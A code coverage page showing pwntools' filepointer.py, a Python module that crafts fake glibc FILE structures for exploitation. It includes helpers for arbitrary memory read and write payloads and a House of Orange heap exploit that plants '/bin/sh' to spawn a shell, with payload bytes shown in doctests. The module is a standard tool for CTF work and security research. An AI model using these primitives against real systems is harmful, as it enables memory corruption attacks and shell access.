• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 22222945663

20 Feb 2026 11:49AM UTC coverage: 73.592% (-0.3%) from 73.914%
22222945663

push

github

web-flow
Fix typo causing doctests not getting skipped (#2681)

Downloading all those libcs slowed down the CI a lot.

3861 of 6510 branches covered (59.31%)

13318 of 18097 relevant lines covered (73.59%)

0.74 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

93.3
/pwnlib/filepointer.py
1
r"""
2
File Structure Exploitation
3

4
struct FILE (_IO_FILE) is the structure for File Streams.
5
This offers various targets for exploitation on an existing bug in the code.
6
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
7

8
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
9
so this python class helps you with that. Example-
10

11
>>> context.clear(arch='amd64')
12
>>> fileStr = FileStructure(null=0xdeadbeef)
13
>>> fileStr.vtable = 0xcafebabe
14
>>> payload = bytes(fileStr)
15
>>> payload
16
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
17

18
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
19

20
Currently only 'amd64' and 'i386' architectures are supported
21
"""
22

23
import ctypes
1✔
24

25
from pwnlib.context import context
1✔
26
from pwnlib.log import getLogger
1✔
27
from pwnlib.util.packing import pack, unpack
1✔
28

29
log = getLogger(__name__)
1✔
30

31
length=0
1✔
32
size='size'
1✔
33
name='name'
1✔
34

35
variables={
1✔
36
    0:{name:'flags',size:length},
37
    1:{name:'_IO_read_ptr',size:length},
38
    2:{name:'_IO_read_end',size:length},
39
    3:{name:'_IO_read_base',size:length},
40
    4:{name:'_IO_write_base',size:length},
41
    5:{name:'_IO_write_ptr',size:length},
42
    6:{name:'_IO_write_end',size:length},
43
    7:{name:'_IO_buf_base',size:length},
44
    8:{name:'_IO_buf_end',size:length},
45
    9:{name:'_IO_save_base',size:length},
46
    10:{name:'_IO_backup_base',size:length},
47
    11:{name:'_IO_save_end',size:length},
48
    12:{name:'markers',size:length},
49
    13:{name:'chain',size:length},
50
    14:{name:'fileno',size:4},
51
    15:{name:'_flags2',size:4},
52
    16:{name:'_old_offset',size:length},
53
    17:{name:'_cur_column',size:2},
54
    18:{name:'_vtable_offset',size:1},
55
    19:{name:'_shortbuf',size:1},
56
    20:{name:'unknown1',size:-4},
57
    21:{name:'_lock',size:length},
58
    22:{name:'_offset',size:8},
59
    23:{name:'_codecvt',size:length},
60
    24:{name:'_wide_data',size:length},
61
    25:{name:'_freeres_list',size:length},
62
    26:{name:'_freeres_buf',size:length},
63
    27:{name:'_pad5',size:length},
64
    28:{name:'_mode',size:4},
65
    29:{name:'_unused2',size:length},
66
    30:{name:'vtable',size:length}
67
}
68

69
del name, size, length
1✔
70

71

72
def _update_var(l):
1✔
73
    r"""
74
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
75

76
    Arguments:
77
        l(int)
78
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
79

80
    Return Value:
81
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
82

83
    Examples:
84

85
        >>> _update_var(8)
86
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, '_freeres_list': 8, '_freeres_buf': 8, '_pad5': 8, '_mode': 4, '_unused2': 20, 'vtable': 8}
87
    """
88
    var={}
1✔
89
    for i in variables:
1✔
90
        var[variables[i]['name']]=variables[i]['size']
1✔
91
    for i in var:
1✔
92
        if var[i]<=0:
1✔
93
            var[i]+=l
1✔
94
    if l==4:
1!
95
        var['_unused2']=40
×
96
    else:
97
        var['_unused2']=20
1✔
98
    return var
1✔
99

100
class IO_flags:
1✔
101
    _IO_MAGIC =         0xFBAD0000 # Magic number
1✔
102
    _IO_MAGIC_MASK =    0xFFFF0000
1✔
103
    _IO_USER_BUF =          0x0001 # Don't deallocate buffer on close.
1✔
104
    _IO_UNBUFFERED =        0x0002
1✔
105
    _IO_NO_READS =          0x0004 # Reading not allowed.
1✔
106
    _IO_NO_WRITES =         0x0008 # Writing not allowed.
1✔
107
    _IO_EOF_SEEN =          0x0010
1✔
108
    _IO_ERR_SEEN =          0x0020
1✔
109
    _IO_DELETE_DONT_CLOSE = 0x0040 # Don't call close(_fileno) on close.
1✔
110
    _IO_LINKED =            0x0080 # In the list of all open files.
1✔
111
    _IO_IN_BACKUP =         0x0100
1✔
112
    _IO_LINE_BUF =          0x0200
1✔
113
    _IO_TIED_PUT_GET =      0x0400 # Put and get pointer move in unison.
1✔
114
    _IO_CURRENTLY_PUTTING = 0x0800
1✔
115
    _IO_IS_APPENDING =      0x1000
1✔
116
    _IO_IS_FILEBUF =        0x2000
1✔
117
    _IO_USER_LOCK =         0x8000
1✔
118

119
class IO_flags2:
1✔
120
    _IO_FLAGS2_MMAP = 1
1✔
121
    _IO_FLAGS2_NOTCANCEL = 2
1✔
122
    _IO_FLAGS2_USER_WBUF = 8
1✔
123
    _IO_FLAGS2_NOCLOSE = 32
1✔
124
    _IO_FLAGS2_CLOEXEC = 64
1✔
125
    _IO_FLAGS2_NEED_LOCK = 128
1✔
126

127
class _FlagsUnionBase(ctypes.Union):
1✔
128
    def __getattr__(self, name):
1✔
129
        if any(name == field[0] for field in self._flags_bits._fields_):
×
130
            return getattr(self._flags_bits, name)
×
131
        return super().__getattr__(name)
×
132
    
133
    def __setattr__(self, name, value):
1✔
134
        if any(name == field[0] for field in self._flags_bits._fields_):
1✔
135
            setattr(self._flags_bits, name, value)
1✔
136
        return super().__setattr__(name, value)
1✔
137

138
    def __int__(self):
1✔
139
        return int(self._flags)
1✔
140

141
    def __str__(self):
1✔
142
        return "{:#x} ({})".format(self._flags, self._flags_bits)
1✔
143

144
# https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/libio.h#L66
145
class _IOFileFlags_bits(ctypes.LittleEndianStructure):
1✔
146
    _pack_ = 1
1✔
147
    _fields_ = [
1✔
148
        ("_IO_USER_BUF", ctypes.c_uint8, 1), # Don't deallocate buffer on close.
149
        ("_IO_UNBUFFERED", ctypes.c_uint8, 1),
150
        ("_IO_NO_READS", ctypes.c_uint8, 1), # Reading not allowed.
151
        ("_IO_NO_WRITES", ctypes.c_uint8, 1), # Writing not allowed.
152
        ("_IO_EOF_SEEN", ctypes.c_uint8, 1),
153
        ("_IO_ERR_SEEN", ctypes.c_uint8, 1),
154
        ("_IO_DELETE_DONT_CLOSE", ctypes.c_uint8, 1), # Don't call close(_fileno) on close.
155
        ("_IO_LINKED", ctypes.c_uint8, 1), # In the list of all open files.
156
        ("_IO_IN_BACKUP", ctypes.c_uint8, 1),
157
        ("_IO_LINE_BUF", ctypes.c_uint8, 1),
158
        ("_IO_TIED_PUT_GET", ctypes.c_uint8, 1), # Put and get pointer move in unison.
159
        ("_IO_CURRENTLY_PUTTING", ctypes.c_uint8, 1),
160
        ("_IO_IS_APPENDING", ctypes.c_uint8, 1),
161
        ("_IO_IS_FILEBUF", ctypes.c_uint8, 1),
162
        ("_IO_BAD_SEEN__UNUSED", ctypes.c_uint8, 1), # No longer used, reserved for compat.
163
        ("_IO_USER_LOCK", ctypes.c_uint8, 1),
164
        ("_IO_MAGIC", ctypes.c_uint16, 16), # Magic number 0xFBAD0000.
165
    ]
166

167
    def __str__(self):
1✔
168
        return " | ".join(name for name, _, _ in self._fields_ if getattr(self, name))
1✔
169

170
class _IOFileFlags(_FlagsUnionBase):
1✔
171
    _fields_ = [
1✔
172
        ("_flags", ctypes.c_uint64),
173
        ("_flags_bits", _IOFileFlags_bits),
174
    ]
175

176

177
# https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/libio.h#L85
178
class _IOFileFlags2_bits(ctypes.LittleEndianStructure):
1✔
179
    _pack_ = 1
1✔
180
    _fields_ = [
1✔
181
        ("_IO_FLAGS2_MMAP", ctypes.c_uint8, 1),
182
        ("_IO_FLAGS2_NOTCANCEL", ctypes.c_uint8, 1),
183
        ("_IO_FLAGS2_USER_WBUF", ctypes.c_uint8, 1),
184
        ("_IO_FLAGS2_NOCLOSE", ctypes.c_uint8, 1),
185
        ("_IO_FLAGS2_CLOEXEC", ctypes.c_uint8, 1),
186
        ("_IO_FLAGS2_NEED_LOCK", ctypes.c_uint8, 1),
187
    ]
188

189
    def __str__(self):
1✔
190
        return " | ".join(name for name, _, _ in self._fields_ if getattr(self, name))
1✔
191

192
class _IOFileFlags2(_FlagsUnionBase):
1✔
193
    _fields_ = [
1✔
194
        ("_flags", ctypes.c_uint64),
195
        ("_flags_bits", _IOFileFlags2_bits),
196
    ]
197

198

199
class FileStructure(object):
1✔
200
    r"""
201
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
202

203
    Arguments:
204
        null(int)
205
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
206

207
    Examples:
208

209
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
210

211
        >>> context.clear(arch='amd64')
212
        >>> fileStr = FileStructure(null=0xdeadbeeef)
213
        >>> fileStr.flags = 0xfbad1807 # or use flags by name:
214
        >>> fileStr.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF | IO_flags._IO_UNBUFFERED | IO_flags._IO_NO_READS | IO_flags._IO_CURRENTLY_PUTTING | IO_flags._IO_IS_APPENDING
215
        >>> fileStr._IO_buf_base = 0xcafebabe
216
        >>> fileStr._IO_buf_end = 0xfacef00d
217
        >>> payload = bytes(fileStr)
218
        >>> payload
219
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
220

221
        Check the length of the FileStructure
222

223
        >>> len(fileStr)
224
        224
225

226
        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
227

228
        >>> q=FileStructure(0xdeadbeef)
229
        >>> q.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF
230
        >>> q.flags._IO_TIED_PUT_GET = 1
231
        >>> q
232
        { flags: 0xfbad0401 (_IO_USER_BUF | _IO_TIED_PUT_GET | _IO_MAGIC)
233
         _IO_read_ptr: 0x0
234
         _IO_read_end: 0x0
235
         _IO_read_base: 0x0
236
         _IO_write_base: 0x0
237
         _IO_write_ptr: 0x0
238
         _IO_write_end: 0x0
239
         _IO_buf_base: 0x0
240
         _IO_buf_end: 0x0
241
         _IO_save_base: 0x0
242
         _IO_backup_base: 0x0
243
         _IO_save_end: 0x0
244
         markers: 0x0
245
         chain: 0x0
246
         fileno: 0x0
247
         _flags2: 0x0 ()
248
         _old_offset: 0xffffffffffffffff
249
         _cur_column: 0x0
250
         _vtable_offset: 0x0
251
         _shortbuf: 0x0
252
         unknown1: 0x0
253
         _lock: 0xdeadbeef
254
         _offset: 0xffffffffffffffff
255
         _codecvt: 0x0
256
         _wide_data: 0xdeadbeef
257
         _freeres_list: 0x0
258
         _freeres_buf: 0x0
259
         _pad5: 0x0
260
         _mode: 0x0
261
         _unused2: 0x0
262
         vtable: 0x0}
263
    """
264

265
    vars_=[]
1✔
266
    length={}
1✔
267

268
    def __init__(self, null=0):
1✔
269
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
1✔
270
            self.setdefault(null)
1✔
271
            self.length = _update_var(context.bytes)
1✔
272
            self._old_offset = (1 << context.bits) - 1
1✔
273

274
    def __setattr__(self,item,value):
1✔
275
        if item in FileStructure.__dict__ or item in self.vars_:
1!
276
            if hasattr(self, item) and isinstance(getattr(self, item), _FlagsUnionBase):
1✔
277
                if isinstance(value, (bytes, bytearray)):
1✔
278
                    getattr(self, item)._flags = unpack(value.ljust(context.bytes, b'\x00'))
1✔
279
                else:
280
                    getattr(self, item)._flags = value
1✔
281
            else:
282
                object.__setattr__(self,item,value)
1✔
283
        else:
284
            log.error("Unknown variable %r" % item)
×
285

286
    def __repr__(self):
1✔
287
        structure=[]
1✔
288
        for i in self.vars_:
1✔
289
            val = getattr(self, i)
1✔
290
            if isinstance(val, int):
1✔
291
                structure.append(" %s: %#x" % (i, val))
1✔
292
            else:
293
                structure.append(" %s: %s" % (i, val))
1✔
294
        return "{"+ "\n".join(structure)+"}"
1✔
295

296
    def __len__(self):
1✔
297
        return len(bytes(self))
1✔
298

299
    def __bytes__(self):
1✔
300
        structure = b''
1✔
301
        for val in self.vars_:
1✔
302
            if isinstance(getattr(self, val), bytes):
1!
303
                structure += getattr(self, val).ljust(context.bytes, b'\x00')
×
304
            else:
305
                if self.length[val] > 0:
1!
306
                    structure += pack(int(getattr(self, val)), self.length[val]*8)
1✔
307
        return structure
1✔
308

309
    def struntil(self,v):
1✔
310
        r"""
311
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
312

313
        Arguments:
314
            v(string)
315
                The name of the field uptil which the payload should be created.
316

317
        Example:
318

319
            Payload for data uptil _IO_buf_end
320

321
            >>> context.clear(arch='amd64')
322
            >>> fileStr = FileStructure(0xdeadbeef)
323
            >>> payload = fileStr.struntil("_IO_buf_end")
324
            >>> payload
325
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
326
        """
327
        if v not in self.vars_:
1!
328
            return b''
×
329
        structure = b''
1✔
330
        for val in self.vars_:
1!
331
            if isinstance(getattr(self, val), bytes):
1!
332
                structure += getattr(self, val).ljust(context.bytes, b'\x00')
×
333
            else:
334
                structure += pack(int(getattr(self, val)), self.length[val]*8)
1✔
335
            if val == v:
1✔
336
                break
1✔
337
        return structure[:-1]
1✔
338

339
    def setdefault(self,null):
1✔
340
            self.flags=_IOFileFlags()
1✔
341
            self._IO_read_ptr=0
1✔
342
            self._IO_read_end=0
1✔
343
            self._IO_read_base=0
1✔
344
            self._IO_write_base=0
1✔
345
            self._IO_write_ptr=0
1✔
346
            self._IO_write_end=0
1✔
347
            self._IO_buf_base=0
1✔
348
            self._IO_buf_end=0
1✔
349
            self._IO_save_base=0
1✔
350
            self._IO_backup_base=0
1✔
351
            self._IO_save_end=0
1✔
352
            self.markers=0
1✔
353
            self.chain=0
1✔
354
            self.fileno=0
1✔
355
            self._flags2=_IOFileFlags2()
1✔
356
            self._old_offset=0
1✔
357
            self._cur_column=0
1✔
358
            self._vtable_offset=0
1✔
359
            self._shortbuf=0
1✔
360
            self.unknown1=0
1✔
361
            self._lock=null
1✔
362
            self._offset=0xffffffffffffffff
1✔
363
            self._codecvt=0
1✔
364
            self._wide_data=null
1✔
365
            self._freeres_list=0
1✔
366
            self._freeres_buf=0
1✔
367
            self._pad5=0
1✔
368
            self._mode=0
1✔
369
            self._unused2=0
1✔
370
            self.vtable=0
1✔
371

372
    def write(self,addr=0,size=0):
1✔
373
        r"""
374
        Writing data out from arbitrary memory address.
375

376
        Arguments:
377
            addr(int)
378
                The address from which data is to be printed to stdout
379
            size(int)
380
                The size, in bytes, of the data to be printed
381

382
        Example:
383

384
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
385

386
            >>> context.clear(arch='amd64')
387
            >>> fileStr = FileStructure(0xdeadbeef)
388
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
389
            >>> payload
390
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
391
        """
392
        self.flags._IO_NO_WRITES = 0
1✔
393
        self.flags._IO_CURRENTLY_PUTTING = 1
1✔
394
        self._IO_write_base = addr
1✔
395
        self._IO_write_ptr = addr+size
1✔
396
        self._IO_read_end = addr
1✔
397
        self.fileno = 1
1✔
398
        return self.struntil('fileno')
1✔
399

400
    def read(self,addr=0,size=0):
1✔
401
        r"""
402
        Reading data into arbitrary memory location.
403

404
        Arguments:
405
            addr(int)
406
                The address into which data is to be written from stdin
407
            size(int)
408
                The size, in bytes, of the data to be written
409

410
        Example:
411

412
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
413

414
            >>> context.clear(arch='amd64')
415
            >>> fileStr = FileStructure(0xdeadbeef)
416
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
417
            >>> payload
418
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
419
        """
420
        self.flags._IO_NO_READS = 0
1✔
421
        self._IO_read_base = 0
1✔
422
        self._IO_read_ptr = 0
1✔
423
        self._IO_buf_base = addr
1✔
424
        self._IO_buf_end = addr+size
1✔
425
        self.fileno = 0
1✔
426
        return self.struntil('fileno')
1✔
427

428
    def orange(self,io_list_all,vtable):
1✔
429
        r"""
430
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks.
431

432
        Arguments:
433
            io_list_all(int)
434
                Address of _IO_list_all in libc.
435
            vtable(int)
436
                Address of the fake vtable in memory
437

438
        Example:
439

440
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
441

442
            >>> context.clear(arch='amd64')
443
            >>> fileStr = FileStructure(0xdeadbeef)
444
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
445
            >>> payload
446
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
447
        """
448
        if context.bits == 64:
1!
449
            self.flags = b'/bin/sh\x00'
1✔
450
            self._IO_read_ptr = 0x61
1✔
451
            self._IO_read_base = io_list_all-0x10
1✔
452
        elif context.bits == 32:
×
453
            self.flags = b'sh\x00'
×
454
            self._IO_read_ptr = 0x121
×
455
            self._IO_read_base = io_list_all-0x8
×
456
        self._IO_write_base = 0
1✔
457
        self._IO_write_ptr = 1
1✔
458
        self.vtable = vtable
1✔
459
        return self.__bytes__()
1✔
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc